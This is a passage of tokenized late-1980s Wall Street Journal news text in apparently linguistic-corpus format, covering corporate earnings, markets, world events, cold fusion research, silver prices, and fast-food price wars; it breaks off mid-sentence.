+Qintex 's $ 1.5 billion pact to buy MGM\/UA collapsed recently . +Kodak entered the high-definition television market by unveiling a device that can convert conventional film into high-definition video . +A handful of small U.S. firms are refusing to cede the HDTV-screen market to Japanese manufacturers . +Freight rates are bottoming out and starting to rebound . +Trucking , shipping and air-freight firms are all planning rate increases , reflecting higher costs and tightened demand . +Texaco has purchased an oil-producing company in Texas for $ 476.5 million . +It is Texaco 's first major acquisition since the legal battle with Pennzoil began over four years ago . +Winnebago posted a widened quarterly loss and slashed its dividend in half , reflecting the deepening slowdown in recreational vehicle sales . +Markets -- +Stocks : +Volume 164,830,000 shares . +Dow Jones industrials 2689.14 , up 5.94 ; transportation 1230.80 , off 32.71 ; utilities 215.48 , up 0.06 . +Bonds : +Shearson Lehman Hutton Treasury index 3392.49 , off +Commodities : +Dow Jones futures index 129.62 , off 0.51 ; spot index 131.34 , up 0.88 . +Dollar : +142.43 yen , up 0.73 ; 1.8578 marks , up 0.0108 . +Inmac Corp. , a money-losing direct marketer of computer supplies and accessories , said directors suspended payment of its semiannual dividend as too great a drain on funds . +The company paid five cents a share in April . +The directors ' action , taken Oct. 10 but announced Friday , had little or no effect on the company 's stock , which stagnated at $ 4.75 in light over-the-counter trading . +Inmac recently disclosed a $ 12.3 million write-off related to a corporate restructuring that resulted in the company 's posting a $ 6.4 million net loss for the year ended July 29 , compared with year-earlier profit of $ 9.7 million , or $ 1.02 a share . +Sales rose 12 % to $ 249.5 million from $ 222.8 million . +`` The board felt that the continued payment of our semiannual dividend was inconsistent with recent operating results , '' said Kenneth A. Eldred , president and chief executive officer . +`` All our efforts are now focused on improving earnings to the point where we can fund additional new-country development , continue to invest in the business and reinstate the dividend , '' he added . +The company offers more than 3,500 parts and supplies directly to microcomputer and minicomputer users through catalog sales . +The Food and Drug Administration said American Home Products Corp. agreed to recall certain generic drugs that were produced by its Quantum Pharmics unit in Amityville , N.Y . +Quantum stopped shipping the drugs last month , following a federal investigation regarding information the company supplied to obtain three drug approvals . +The FDA requested the recall of Quantum 's mioxidil tablets , chlorazepate dipotassium tablets and meclofenamate sodium capsules because , it said , the size of the production runs submitted for testing to gain FDA approval was in each case misrepresented as much larger than it actually was . +American Home Products , based in New York , agreed to recall four other products , trazadone , doxepin , diazepam and lorazapam , because of concerns about data submitted in their original approval applications before the FDA . +No safety problems with the products are known , the FDA said . +An FDA spokesperson said the drugs are still available under other brand names . +Last month , American Home Products said it was suspending production and distribution of all 21 of Quantum 's generic drug products pending the completion of an exhaustive internal audit . +It also temporarily closed Quantum , because of the internal investigation , as well as the FDA 's ongoing inquiry . +In New York Stock Exchange composite trading , American Home Products rose 75 cents to $ 105 on Friday . +Lyondell Petrochemical Co. said third-quarter net income fell 54 % , to $ 73 million , or 91 cents a share , from $ 160 million a year earlier . +Year-earlier per-share results are n't applicable because the company went public in January . +Revenue rose 7.7 % to $ 1.28 billion from $ 1.18 billion . +The petrochemical maker said the biggest reason earnings declined was a loss of production time and the increased costs associated with a temporary maintenance closing and expansion of an olefins plant . +Like other refiners , Lyondell 's margins for chemicals and gasoline were narrower . +While the company said chemical margins continued to worsen this quarter , costs will be lower because the maintenance and expansions are complete . +In New York Stock Exchange composite trading Friday , Lyondell was unchanged at $ 18.50 a share . +Four former Cordis Corp. officials were acquitted of federal charges related to the Miami-based company 's sale of pacemakers , including conspiracy to hide pacemaker defects . +Jurors in U.S. District Court in Miami cleared Harold Hershhenson , a former executive vice president ; John Pagones , a former vice president ; and Stephen Vadas and Dean Ciporkin , who had been engineers with Cordis . +Earlier this year , Cordis , a maker of medical devices , agreed to plead guilty to felony and misdemeanor charges related to the pacemakers and to pay the government about $ 5.7 million in fines and other costs . +Cordis sold its pacemaker operations two years ago to Telectronics Holding Ltd. of Australia . +PAPERS : +Management and unions representing 2,400 employees at Torstar Corp. 's Toronto Star reached a tentative contract agreement Friday , averting a strike by most employees of Canada 's largest daily newspaper . +Members of the largest union , representing 1,700 workers , voted in favor of the pact yesterday . +Four other unions have yet to vote , but their leadership also recommended approval . +The pact proposes a 2 1\/2-year contract with a raise of 8 % in the first year , 7 % in the second and 4 % for the final six months . +Amgen Inc. said its second-quarter earnings increased more than tenfold to $ 3.9 million , or 22 cents a share , due to increased sales of the company 's new antianemia drug for kidney patients . +The Thousand Oaks , Calif.-based biotechnology company reported a 97 % increase in revenue to $ 42.5 million for the quarter ended Sept. 30 . +In the year-ago period , Amgen reported net income of $ 320,000 , or two cents a share , on revenue of $ 21.5 million . +For the six months , the company reported a more than sixfold increase in earnings to $ 4.7 million , or 26 cents a share , from $ 625,000 , or four cents a share a year ago . +Revenue rose 77 % to $ 72.6 million , from last year 's $ 41 million . +LEBANESE LAWMAKERS APPROVED a peace plan but Aoun rejected it . +Lebanon 's Parliament passed the power-sharing accord to end the country 's 14-year-old conflict , but the Christian military leader wad the plan was `` full of ambiguities . '' +The Arab League-sponsored pact , drafted during three weeks of talks at the Saudi Arabian resort of Taif , includes Syrian proposals for at least a partial troop pullout from Lebanon , and guarantees an equal number of seats for Moslems and Christians in the Parliament . +The rejection by Aoun , who has demanded a total and immediate pull-out of Damascus 's 33,000 troops , puts the future of the agreement in doubt . +NORTHERN CALIFORNIA BRACED for earthquake-related traffic jams . +As rescuers pressed their efforts after finding a survivor in a collapsed freeway , the San Francisco Bay area girded for hundreds of thousands of commuters seeking to avoid routes ravaged by last Tuesday 's tremor . +In Oakland , officials said the 57-year-old longshoreman who spent four days entombed in rubble was in critical condition with slight improvement . +Estimates of damage in the area , visited Friday by Bush , topped $ 5 billion . +The baseball commissioner announced that the third game of the World Series between the Giants and the Athletics would n't resume until Friday . +THE U.S. . IS REQUIRED to notify foreign dictators of certain coup plans . +Under guidelines included in an exchange of letters between the Reagan administration and the Senate Intelligence panel last year , the U.S. must inform foreign dictators of plans likely to endanger their lives . +The existence of the policy became known after Bush disclosed it to seven GOP senators last week , citing the plan as an example of congressional requirements the administration contends contribute to the failure of covert actions , officials said . +Bush conceded that the requirement did n't affect a decision to lend only minor support to this month 's failed effort to oust Panama 's Noriega , aides said . +The shuttle Atlantis 's crew prepared to return to Earth today several hours earlier than planned to avoid high winds forecast at the landing site at Edwards Air Force Base , Calif . +The five astronauts , who stowed gear and tested the spacecraft 's steering , said they were unconcerned about the touchy weather expected in the Mojave Desert . +Commonwealth leaders issued a declaration giving South Africa six months to deliver on pledges to ease apartheid or face new reprisals . +The 49-nation organization , meeting in Malaysia , called for tighter financial pressure immediately . +Britain 's Prime Minister Thatcher alone dissented . +East Germany 's leadership vowed swift action to ease travel to the West . +Despite the pledge by the Communist rulers , tens of thousands of people across the country staged marches over the weekend to demand democratic freedoms . +In Leipzig , more than 500 people met with local party officials to discuss internal changes . +The Senate convicted federal Judge Alcee Hastings of Miami of eight impeachment articles , removing him from the bench . +The chamber voted 69-26 Friday to convict the judge of perjury and bribery conspiracy . +It marked the first time a U.S. official was impeached on charges of which a jury had acquitted him . +Rep. Garcia and his wife were found guilty by a federal jury in New York of extorting $ 76,000 from Wedtech Corp. in return for official acts by the New York Democrat . +The jury also convicted them of extortion in obtaining a $ 20,000 interest-free loan from an officer of the defunct defense contractor . +Authorities in Honduras launched an investigation into the cause of Saturday 's crash of a Honduran jetliner that killed 132 of the 146 people aboard . +The Boeing 727 , en route to Honduras from Costa Rica via Nicaragua , smashed into the hills outside Tegucigalpa as it approached the capital 's airport in high winds and low clouds . +The U.S. and Israel have been holding what an aide to Prime Minister Shamir called intense telephone negotiations in an effort to bridge differences over Mideast peace moves . +The Labor Party , meanwhile , threatened to support a parliamentary motion to topple the coalition unless Shamir showed flexibility on Arab-Israeli talks . +Nicaragua 's Defense Ministry said a group of Contra rebels ambushed two trucks carrying troops in northern Nicaragua , killing 18 of the soldiers . +The incident occurred Saturday night . +The Sandinista government and the U.S.-backed insurgents agreed in March to suspend offensive operations , but there has been sporadic fighting . +Scientists have isolated a molecule that may hold potential as a treatment for disruptions of the immune system , ranging from organ-transplant rejection , to allergies and asthma , Immunex Corp. said . +The molecule is the mouse version of a protein called the interleukin-4 receptor , which directs the growth and function of white blood cells . +Died : Alfred Hayes , 79 , former president of the Federal Reserve Bank of New York , Saturday , in New Canaan , Conn . +Contel Corp. said third-quarter net income increased 16 % to $ 72 million , or 45 cents a share , from $ 62 million , or 39 cents a share , as a result of strong growth in telephone-access lines and long-distance minutes of use . +The telecommunications company 's results included a one-time gain of $ 4 million , or two cents a share , from the sale of Contel Credit , a leasing and financial-services subsidiary . +Revenue rose 8.3 % to $ 780 million from $ 720 million . +Telephone-operations quarterly profit increased 9 % to $ 84 million from $ 77 million , while federal-systems earnings declined 33 % to $ 4 million from $ 6 million . +Information systems posted a loss of $ 8 million , compared with a loss of $ 9 million a year earlier . +Customer-access lines increased at an annualized rate of about 4 % and minutes of long-distance use rose about 12 % . +A 10 % gain in operating profit in the quarter was offset by a 21 % boost in interest expense , reflecting higher consolidated borrowings and interest rates . +In New York Stock Exchange composite trading , Contel closed at $ 33.75 a share , down .50 cents . +In East Germany , where humor has long been the only way to express political criticism , they 're not laughing about their new leader Egon Krenz . +Mr. Krenz is such a contradictory figure that nobody has even come up with any good jokes about him . +`` You have to have clear feelings about someone before you can make jokes , '' says an East German mother of two who loves swapping political barbs with her friends . +`` With Krenz , we just do n't know what to expect . '' +Mr. Krenz does n't seem to be the knee-jerk hardliner many initially thought he was when the 52-year-old Politburo member was selected last week to succeed Erich Honecker . +But he does n't appear to be ready to make broad changes either . +According to East Germany 's ADN news agency , Mr. Krenz spoke to Soviet leader Mikhail Gorbachev by telephone over the weekend and acknowledged East Germany could learn from Moscow 's glasnost policies . +Already last week , Mr. Krenz started overhauling East Germany 's heavily censored and notoriously boring news media . +On Thursday , a day after he took office , East German television broke into regular programming to launch a talk show in which viewers call in questions for a panel of officials to answer . +The regular nightly news program and daily newspapers are also getting a visible injection of Soviet-style glasnost . +`` It was quite a shock , '' says a 43-year-old East German shopkeeper . +`` For the first time in my life , I was n't sure whether I was listening to our news or West German television . '' +Other changes , including easing restrictions on travel for East Germans , are expected . +But whether such moves can win back the confidence of East Germans , who have taken to the streets by the thousands in recent weeks to demand democratic changes , depends largely on whether they feel they can trust Mr. Krenz . +And that 's a problem . +Mr. Krenz is not only closely identified with his mentor , Mr. Honecker , but also blamed for ordering violent police action against protesters this month and for praising China for sending tanks against student demonstrators . +`` I hope he grows with the job , '' says Rainer Eppelmann , a Protestant pastor in East Berlin . +`` The most important thing is that he have a chance . '' +Although Mr. Krenz is dedicated to East Germany 's conservative vein of communism , there is much about his style that sets him apart from his party comrades . +Unlike Mr. Honecker , who tended to lecture people about socialist values , Mr. Krenz enjoys asking questions . +Indeed , one of his first actions as leader was to visit a gritty machine factory on the outskirts of Berlin and wander among the workers -- a la Gorbachev . +He was later shown on television , fielding questions . +At one point , he asked a worker whether he thought East Germans were fleeing the country because of restrictive travel policies . +The worker 's tart reply : `` It 's more than just travel . +People have a sense the government is ignoring the real problems in our society . '' +The exchange was all the more remarkable in that authorities released television footage to Western news agencies . +This same tendency toward openness impressed a group of visiting U.S. congressmen this spring . +Rather than trying to `` lecture us , '' says one congressional aide who attended the two-hour meeting , Mr. Krenz `` wanted to listen . '' +Rep. Ronnie Flippo -LRB- D. , Ala. -RRB- , one of the members of the delegation , says he was particularly impressed by Mr. Krenz 's ready admission that East Germany needed to change . +`` He 's a very tough man , but one who 's also open to arguments , '' adds an aide to West German Chancellor Helmut Kohl . +But there 's another side to Mr. Krenz . +Born in a Baltic town in an area which is now part of Poland , he has dedicated his life to the party apparatus . +He moved quickly through the ranks with the help of his patron , Mr. Honecker , and emerged as the heir apparent . +Barbara Donovan , an expert on East Germany at Radio Free Europe in Munich , says Mr. Krenz may project a smooth image , but she doubts he 's a true reformer . +Even if he is , she adds , he appears to have only limited room for maneuver within the Communist Party 's ruling Politburo . +Against this background , the new East German leader must move quickly to shore up his government 's standing . +The sudden growth of the opposition movement , together with the steady outflow of citizens escaping through Poland and Hungary , has plunged the country into its deepest political crisis since an anti-Soviet workers ' uprising in 1953 . +`` He does n't have any honeymoon period , '' says a Western diplomat based in East Berlin . +`` But if he 's sharp and quick , he has a chance . '' +The diplomat adds that Mr. Krenz has several things going for him . +The East German economy is strong compared with other East bloc nations . +And his relative youth could help him project a more vibrant image , contrasting with the perception of Mr. Honecker as an out-of-touch old man . +For average East Germans , Mr. Krenz remains a puzzle . +`` Either he was n't being real in the past , or he is n't being real right now , '' says a 30-year-old East German doctor . +`` Either way , I have a problem with how quickly he 's changed . '' +The doctor was among dozens of people milling through East Berlin 's Gethsemane Church Saturday morning . +The walls of the church are covered with leaflets , news clippings , and handwritten notes associated with the country 's political opposition . +`` I have to come here to read the walls , '' says the doctor , `` because it 's information I still ca n't get through the newspapers . '' +Meanwhile , East Germany 's growing openness may even allow the state-controlled news media to display a muted sense of humor . +Television last week carried a new report on East Berlin 's main wallpaper factory and the need to boost production . +East Germans remember a comment a few years ago by Kurt Hager , the government 's top ideologist , that just because a neighbor hangs new wallpaper , there 's no reason to change your own . +His point was there is no reason for East Germany to copy Soviet-style changes . +`` It 's hard to know whether it was intended to be funny , '' says the East Berlin shopkeeper , `` But everyone I know laughed about it . +The list of laboratories claiming to be producing inexplicable amounts of heat from `` cold fusion '' experiments is slowly growing . +But the experiments continue to be plagued by lack of firm evidence that the extra heat is coming from the fusing of hydrogen atoms . +New experiments at some of the big national laboratories are still unable to find hints of nuclear fusion reactions , leaving only the finding of tritium in a Texas experiment to support University of Utah chemists ' claim of achieving hydrogen fusion at room temperatures . +The latest developments in cold fusion research were presented in 24 reports delivered at the fall meeting here of the Electrochemical Society , the first scientific meeting in five months to hear formal reports on cold fusion experiments . +The meeting offered stark evidence of a dramatic fall in scientific interest in cold fusion research . +Of the 1,300 chemists registered for the society 's weeklong meeting , fewer than 200 sat through the day and a half of cold fusion presentations at week 's end . +This was in contrast with the society 's meeting last May , at the height of the controversy , when more than 1,500 scientists , along with scores of reporters and TV crews , crowded into a Los Angeles hotel ballroom for a tumultuous special night session on the subject . +Neither of the two chemists whose Utah experiments triggered the cold fusion uproar , Martin Fleischmann and B. Stanley Pons , were at the meeting . +But some members of an ad hoc expert committee set up by the Department of Energy to evaluate the cold fusion research were in the audience . +The committee is to recommend at the end of the month whether DOE should support cold fusion research . +Most of the two dozen scientists taking the podium reported results with new , more sophisticated variations of the seemingly simple electrolysis-of-water experiments described last March by Messrs. Fleischmann and Pons . +The experiments involve encircling a thin rod of palladium metal with a wire of platinum and plunging the two electrodes into `` heavy '' water in which the hydrogen atoms are a doubly heavy form known as deuterium . +When an electric current is applied to the palladium and platinum electrodes , the heavy water did begin to break up , or dissociate . +Ordinarily the electrolysis , or breakup , of the water would consume almost all of the electrical energy . +But Messrs. Fleischmann and Pons said their experiments also produced large amounts of heat . +The heat energy plus the energy consumed by the breakup of the water molecules added to far more energy coming out of the apparatus than electrical energy going in , they reported . +Because they also detected tritium and indications of nuclear radiation , they asserted that the `` excess '' heat energy must be coming from energy released by the nuclear fusion of deuterium atoms inside the palladium rod . +As of last weekend , a dozen labs also have reported measuring `` excess '' heat from similar electrolytic experiments , although amounts of such heat vary widely . +One of the seven reports presented here of excess heat production was given by Richard A. Oriani , professor of chemical engineering at the University of Minnesota . +Mr. Oriani said his skepticism of the Utah claims was initially confirmed when his first experiments last spring failed to produce results . +But he then borrowed a palladium rod from chemists at Texas A&M who said they were getting excess heat . +`` The results were fascinating , '' he said . +On the fourth `` run '' with the borrowed rod , the experiment began producing excess heat . +The experiment was stopped briefly to change an instrument . +When it was restarted , heat output `` really took off '' and produced excess heat for several hours before dying down , he said . +Typical of other experiments , Mr. Oriani said his experiment was `` very erratic . '' +It would go along doing nothing but dissociating the heavy water and then at totally unpredictable times , it would begin producing excess heat for as long as 10 or 11 hours before quieting down . +The excess heat was 15 % to 20 % more than the energy involved in the electrolysis of water . +Mr. Oriani said the heat bursts were too large and too long to be explained by the sudden release of energy that might have slowly accumulated during the experiments ' quiescent times , as some scientists have suggested . +`` There is a reality to the excess energy , '' he said . +Other scientists said they also were getting sporadic bursts of excess heat lasting several hours at a time . +The bursts often occur , they said , after they `` perturbed '' the experiments by raising or lowering the amount of electric current being applied , or switching the current off and on . +One chemist privately suggested this hinted that some `` anomalous '' chemical reactions might be producing the heat . +One reason questions surround the heat experiments is that they involve unusually meticulous measurements . +Typically , the input energy ranges from a third of a watt to one watt and the excess energy is measured in tenths of a watt . +One exception is a continuing experiment at Stanford University where as much as 10 watts of energy are being put into the electrolytic cells . +A cell filled with heavy water is producing 1.0 to 1.5 watts more heat than an identical electrolytic cell filled with ordinary water next to it , reported Turgut M. Gur , an associate of materials scientist Robert A. Huggins , head of the Stanford experimental team . +One of the few hints the excess heat might be produced by fusion came from brief remarks by chemist John Bockris of Texas A&M University . +Mr. Bockris previously reported getting bursts of excess heat and of detecting increasing amounts of tritium forming in the heavy water . +He said that within the past few days , he 's gotten evidence that there is a `` weak correlation '' between the time the heat bursts occur and the production of tritium . +There is n't any way to continuously measure the amount of tritium in the heavy water , so it 's been difficult to tell whether the tritium formation is related to the heat bursts or some other phenomenon . +Increasingly careful attempts to measure neutrons , which would be strong evidence of fusion reactions , continue to be negative . +Messrs. Fleischmann and Pons initially reported indirect evidence of neutrons being produced in their experiment but later conceded the measurements were questionable . +Researchers at Sandia National Laboratories in Albuquerque , N.M. , reported they went so far as to take a `` cold fusion '' experiment and three neutron detectors into a tunnel under 300 feet of granite to shield the detectors from cosmic rays . +A number of times they detected neutrons in one , sometimes two , of the three detectors , but only once during 411 hours of the experiment did they detect a neutron burst in all three detectors -- and they think that was a spurious event . +Shimson Gottesfeld of Los Alamos National Laboratory said researchers there detected a burst of neutrons from an early cold fusion experiment last April but decided not to announce it until they could confirm it . +In subsequent experiments , one of two neutron detectors occasionally indicated a burst of neutrons but neutron bursts were never recorded in both detectors at the same time . +They concluded the indications of neutrons stemmed from faults in the detectors rather than from the cold fusion experiment . +At the Lawrence Berkeley Laboratory in California , new experiments indicated that the lithium added to the heavy water so it will conduct a current can produce previously unsuspected electrical effects on the surface of the palladium rod -- which Messrs. Fleischmann and Pons might have misinterpreted , reported Philip Ross from the California laboratory . +Dow Jones & Co. announced Wall Street Journal advertising rates for 1990 . +The rates , which take effect Jan. 2 , include a 4 % increase for national edition advertising . +The Journal also will offer expanded volume and frequency discounts . +The increase for national edition advertising is less than the inflation rate and compares with a 6.5 % increase in 1989 . +`` Newsprint and postage prices this year have not gone up , '' said Peter R. Kann , president of Dow Jones . +`` We have invested in improved editorial quality and expanded our quality audience without substantially increasing our costs . +Fundamental fairness and a sense of responsibility lead us to share operating efficiencies with our customers . '' +Advertising rates for the Eastern , Midwest , Western and Southwest editions will increase an average 5.5 % , and rates for localized advertising editions will increase 7.5 % . +Rates for the Wall Street Journal Reports will remain unchanged . +A one-time noncontract full-page advertisement in The Wall Street Journal national edition will cost $ 99,385 . +Advertising rates for The Wall Street Journal\/Europe , published in Brussels and printed in the Netherlands and Switzerland , will increase 9 % . +Rates for The Asian Wall Street Journal , published and printed in Hong Kong and also printed in Singapore and Tokyo , will rise 8 % . +Rates for The Asian Wall Street Journal Weekly , published in New York for North American readers , will rise 6 % . +Dow Jones also publishes Barron 's magazine , other periodicals and community newspapers and operates electronic business information services . +It owns 67 % of Telerate Inc. , a leading supplier of computerized financial information on global markets . +Reflecting the impact of lower semiconductor prices and cuts in defense spending , Texas Instruments Inc. said third-quarter net income fell 31 % and sales dropped slightly from a year earlier . +Net fell to $ 65 million , or 67 cents a common share , from $ 93.7 million or $ 1.03 a share , a year ago . +Sales fell 2.5 % to $ 1.54 billion from $ 1.58 billion . +For the nine months , the electronics and defense concern had net of $ 255.8 million , or $ 2.70 a share , down 5.6 % from $ 271 million , or $ 3.01 a share , in the year-ago period . +Sales were $ 4.66 billion , up 1.3 % from $ 4.6 billion . +Jerry Junkins , chairman , president and chief executive officer , said sluggish consumer-electronics sales reduced demand for semiconductors . +That , coupled with lower semiconductor prices and higher semiconductor-depreciation expense , contributed to the decline in sales and profit . +In addition , cost increases related to fixed-price defense contracts and a $ 10 million charge to reduce the work force of Texas Instruments ' defense-electronics division also reduced net . +However , the quarter results included $ 28 million in royalty income from patent licenses , up from $ 21 million in the year-earlier period . +The nine months include $ 125 million of royalty income , up from $ 98 million last year . +Mr. Junkins was n't optimistic about the short-term outlook , hinting that further workforce reductions may be needed . +`` We expect near-term sluggishness in the electronics market , '' he said , `` and we will take ongoing cost-reduction actions as necessary to keep operations aligned with demand . '' +Further , he said , an internal reorganization to combine several divisions into the Information Technology Group is expected to affect fourth-quarter results by an undisclosed amount . +Lynch Corp. said its Lynch Telephone Corp. subsidiary completed the acquisition of Western New Mexico Telephone Co. for $ 20 million plus assumption of $ 24 million of debt . +Western New Mexico Telephone , Silver City , had net income of $ 1.9 million on revenue of about $ 10 million last year . +It is an independent phone company with a service area of 15,000 square miles in southwest New Mexico . +It is also a partner in the wireline cellular franchise covering most of western New Mexico . +The transaction represents Lynch 's entry into the telephone business . +The company , which has interests in television , trucking services , and glass-making and food-processing equipment , said it plans to make other acquisitions in the telephone industry . +Nelson Bunker Hunt 's attempted corner on silver a decade ago is still haunting the market in this metal . +Silver , now trading around $ 5 an ounce , surged to an all-time peak of $ 50 an ounce in January 1980 from around $ 9 in mid-1979 . +`` Mr. Hunt 's attempt to squeeze the silver market 10 years ago is still indirectly to blame for today 's market depression , '' says Lesley Edgar , managing director of Sharps Pixley Ltd. , London bullion brokers . +While some 100 million ounces of silver once held by Mr. Hunt and Middle Eastern associates are n't hanging over the market anymore , the price surge of 1979-80 precipitated an expansion of mine production and scrap recovery and encouraged silver consumers to economize on silver use , Mr. Edgar says . +Photographic developers , for example , bought equipment to recover silver from spent photographs , negatives and processing solutions . +Meanwhile , the photographic industry , which accounts for 44 % of silver consumption , continues to look for substitutes . +Japanese and U.S. photographic firms are beginning to produce electronic cameras and X-rays that do n't require silver , dealers say . +Silver 's history of volatility is also discouraging investors , dealers say . +Even in the present uncertain investment climate , investors are preferring `` quality assets '' such as Treasury bills and bonds to gold , silver and platinum , dealers say . +Although prices rallied briefly following the tumble on world stock markets earlier this month and the related decline of the dollar , precious metals are out of favor for the moment because of high interest rates and a determination by industrial nations to curb inflation , dealers say . +Silver , however is in a deeper slump than are gold and platinum . +Some analysts contend that silver is cheap now that prices are languishing at levels last seen in the mid-1970s . +`` Bargain hunters believe that silver offers the best value amongst precious metals , '' says Frederick R. Demler , analyst at Drexel Burnham Lambert Inc . +A further decline in prices will lead to mine production cuts in the U.S. , he says . +Scrap merchants are converting smaller quantities of metal into silver , while low prices are discouraging exports from India and the Soviet Union . +Silver prices could also be boosted by strikes in leading producing nations Peru and Mexico , Mr. Demler says . +Meanwhile , total fabrication demand for silver has risen six years in a row , he says . +Japanese demand grew by 70 % in the first half of this year and the nation plans an issue of a silver commemorative coin that will require 4.5 million ounces . +Compared with huge annual surpluses of more than 100 million ounces in the first half of the 1980s , world silver supplies and consumption are now nearly in balance , Mr. Demler says . +Despite intermittent rallies in the past few years , improvements in the supply-demand balance have n't managed to push silver prices into a higher range . +`` There 's just too much silver around , '' says Tom Butler , an analyst at Samuel Montagu & Co. , a London bullion house . +A huge silver stockpile at exchanges , refiners , consuming industries and government warehouses of at least 617 million ounces is the market depressant , says Shearson Lehman Hutton Inc. in a report . +This year alone , inventories at the Commodity Exchange of New York jumped `` by a staggering 46 million to 221 million ounces '' because of producer deliveries , de-stocking by fabricators and sales by disenchanted investors , says Rhona O'Connell , London-based precious metals analyst at Shearson Lehman Hutton . +`` Silver production is also in an inexorable upward trend , '' Ms. O'Connell says . +Moreover , while Asian and Middle Eastern investors hoard gold and help underpin its price , silver does n't have the same mystique , dealers say . +Investors have gotten burned on silver so often that they are far more partial to gold , says Urs Seiler , senior vice president at Union Bank of Switzerland . +Yet if gold prices improve , silver prices could rally sharply , he says . +However , dealers caution that any increase would be $ 1 to $ 2 at most . +Looking ahead to other commodity markets this week : +Livestock and Meats +Analysts expect the prices of live cattle futures contracts to rise in trading today in the wake of a government quarterly census that found fewer-than-expected cattle on feedlots . +After the close of trading Friday , the Agriculture Department reported that feedlots in the 13 biggest ranch states held 8.06 million cattle on Oct. 1 , down 6 % from that date a year earlier . +Most analysts had expected the government to report a 4 % decline . +Feedlots fatten young cattle for slaughter , so a decline signals a tightening supply of beef . +The government reported that the number of young cattle placed on feedlots during the quarter dropped 5 % compared with the year-earlier quarter . +Many industry analysts had been projecting a 3 % decline in placements for the quarter . +In the 1988 quarter , many farmers were forced to sell their cattle to feedlot operators because the drought dried out the pasture on their ranches . +The number of cattle moving onto feedlots in the recent quarter was also lower because fattening cattle is less profitable . +A shortage of young cattle has made them more expensive for feedlot operators to buy . +The Agriculture Department also said that the number of fattened cattle slaughtered in the quarter dropped by 5 % from the 1988 quarter , which was in line with projections by analysts . +Energy +Friday 's 44-cent-a-barrel price drop to $ 19.98 in the expiring November contract for West Texas Intermediate crude may well set the tone for trading this week in petroleum futures on the New York Mercantile Exchange . +Most traders and analysts attributed the decline to technical factors associated with the contract 's going off the board . +Others said that the drop continued the downward correction that 's been due in the petroleum pits and that such a trend could well continue in the next several trading sessions . +Barring any petroleum-related news events , trading in the days ahead should further test recent projections by oil economists and other market watchers that strong fourth-quarter demand will keep prices firm . +Copper +Copper prices fell sharply Friday afternoon . +For example , copper for December delivery settled 4.5 cents lower at $ 1.2345 a pound . +Pressure came from several developments including the settlement of two long-term strikes . +On Friday , one analyst said , rank-and-file workers ratified a new labor agreement ending a three-month strike at the Highland Valley mine in British Columbia . +In Mexico , the analyst added , employees at the Cananea mine , who have been out of work since late August when the mine was declared bankrupt by the government , accepted a 35 % cut in the 3,800-man work force . +The mine is expected to return to production in about a week . +On Friday , selling dominated the afternoon `` curb '' session in London , which takes place at noon EDT . +The premium of cash copper to the three-month forward offerings narrowed , indicating weaker demand for cash copper . +Long-term support for the December contract was believed to be at $ 1.25 a pound . +A technical analyst said there were a number of stop-loss orders under that level that were touched off when the contract 's price fell below it . +That brought in considerable fund selling , which continued until the close of trading . +`` In general , it was a bearish close , '' said Ben Hanauer , a copper trader at Rudolph Wolff & Co. , a major commodities trading and brokerage firm . +But whether this price break has implications for this week , he said , `` we will know more when the London Metal Exchange copper stock levels are released Monday morning . '' +Another analyst said he expected LME inventories to be down by about 15,000 tons when the weekly report is issued . +Bernard Savaiko , senior commodities analyst at PaineWebber Inc. , said that when traders saw the market was n't reacting positively to the forecasts of lower LME stocks , they perceived a bearish sign . +He also noted that the Japanese , who had been buying at prices just above the $ 1.25 level , apparently pulled back from the market on Friday . +Mr. Savaiko said he sees a possibility of the December contract dropping to $ 1.05 a pound . +Hewlett-Packard Co. will announce today a software program that allows computers in a network to speed up computing tasks by sending the tasks to each other . +Called Task Broker , the program acts something like an auctioneer among a group of computers wired together . +If a machine has a big computing task , Task Broker asks other computers in the network for `` bids '' on the job . +It then determines which machine is free to do the task most quickly and sends the task to that machine . +Hewlett-Packard claims that the software allows a network to run three times as many tasks as conventional networks and will run each task twice as fast . +The new Hewlett-Packard program , said analyst John McCarthy at Forrester Research Inc. , a computer-market research company , `` is a key building block as people move to this new model of distributed processing . '' +In today 's computer networks , some machines often sit idle while others are overtaxed . +With the Hewlett-Packard program , he said , `` You get more bang for the buck you 've spent on computers . '' +The program , which will be shipped in January 1990 , runs on the Unix operating system . +Hewlett-Packard will charge $ 5,000 for a license covering 10 users . +The program now works on all Hewlett-Packard and Apollo workstations and on computers made by Multiflow Computer Inc. of Branford , Conn . +Hewlett-Packard said it will sell versions later next year that run on Sun Microsystems Inc. and Digital Equipment Corp. machines . +The Task Broker differs from other programs that spread computing tasks around a network . +A previously available program called Network Computing System , developed by Hewlett-Packard 's Apollo division , for instance , takes a task and splits it up into parts , divvying up those parts to several computers in a network for simultaneous processing . +But programs in individual computers must be revised in order to work with that system . +Applications wo n't have to be rewritten to work with Task Broker , Hewlett-Packard said , and the user of a computer wo n't be able to tell that another machine is doing the work . +The Task Broker `` turns that network into -- as far as the user is concerned -- one giant computer , '' said Bill Kay , general manager of Hewlett-Packard 's workstation group . +Price wars between the fast-food giants are starting to clobber the fast-food little guys : the franchisees . +`` When elephants start fighting , ants get killed , '' says Murray Riese , co-owner of National Restaurants , a New York franchisee for Pizza Hut , Roy Rogers and other chains . +As hamburger and pizza outlets saturate one area after another , franchisers are struggling desperately for market share , slashing prices and stepping up costly promotions . +The fight is putting a tight squeeze on profits of many , threatening to drive the smallest ones out of business and straining relations between the national fast-food chains and their franchisees . +The chains `` used to offer discounts during winter when business was slow , but in the last year or so , discounting has become a 12-month thing , '' says Donald Harty , president of Charisma Group Inc. , a New York franchisee of Grand Metropolitan PLC 's Burger King chain . +Though Charisma 's sales are up slightly this year , Mr. Harty says profits will be flat or lower . +And Bill Konopnicki , a Safford , Ariz. , licensee of McDonald 's Corp. who is chairman of the company 's National Operators Advisory Board , says some fast-food outlets `` could be in serious trouble , based on the amount of discounting that seems to be going on . '' +Until recently , the huge fast-food industry , with sales of about $ 60.1 billion last year , kept price-skirmishing to a minimum . +But early this year , PepsiCo Inc. 's Taco Bell unit and Wendy 's International Inc. slashed prices and stepped up promotions , says John Rohs , an analyst for Wertheim Schroder & Co . +That brought a chain reaction in the industry . +The situation was further aggravated early this month , when McDonald 's set plans to heat up the discounting by offering coupons . +It also decided to go national with pizza , which it has been test-marketing . +Now , two-for-one deals on pizza are common ; so are 99-cent specials on sandwiches normally priced twice as high . +The discounting , say fast-food operators , occurs on a scale and with a frequency they have n't seen before . +The result is that some franchisees are running hard just to stay even , laying off middle managers and working harder to make less . +Joe Mack , a district manager for Cormack Enterprises Inc. , a Burger King operator in Omaha , Neb. , says discounting is so prevalent that `` we 